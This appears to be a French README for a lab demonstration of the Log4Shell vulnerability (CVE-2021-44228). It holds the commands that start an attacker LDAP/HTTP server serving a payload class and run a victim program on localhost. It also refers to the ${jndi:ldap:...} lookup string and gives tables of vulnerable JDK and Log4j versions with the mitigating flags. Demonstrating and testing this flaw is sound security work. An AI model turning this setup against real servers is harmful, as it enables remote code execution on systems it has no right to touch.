
Une courte démonstration de CVE-2021-44228
Une courte démonstration de CVE-2021-44228
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URLs:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| Version | Statut |
|---|---|
Oracle JDK 8u5 | vulnérable |
OpenJDK 8u312 | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
IBM OpenJDK 8u312-b07 (OpenJ9) | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.7+10 | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.13+8 | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 16+36 | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17+35 | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17.0.1+12 | NON vulnérable (sauf si -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
Si NON vulnérable, une instance de javax.naming.Reference est retournée par javax.naming.Context.lookup().
Si NON vulnérable au chargement de classes depuis des bases de code distantes, d'autres vulnérabilités de désérialisation Java existent probablement toujours!
| Version | Statut |
|---|---|
2.9.1 | vulnérable |
2.10.0 | vulnérable (sauf si -Dlog4j2.formatMsgNoLookups=true ou variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.14.1 | vulnérable (sauf si -Dlog4j2.formatMsgNoLookups=true ou variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.15.0 | NON vulnérable |
Si NON vulnérable, ${jndi:ldap:...} n'est PAS résolu.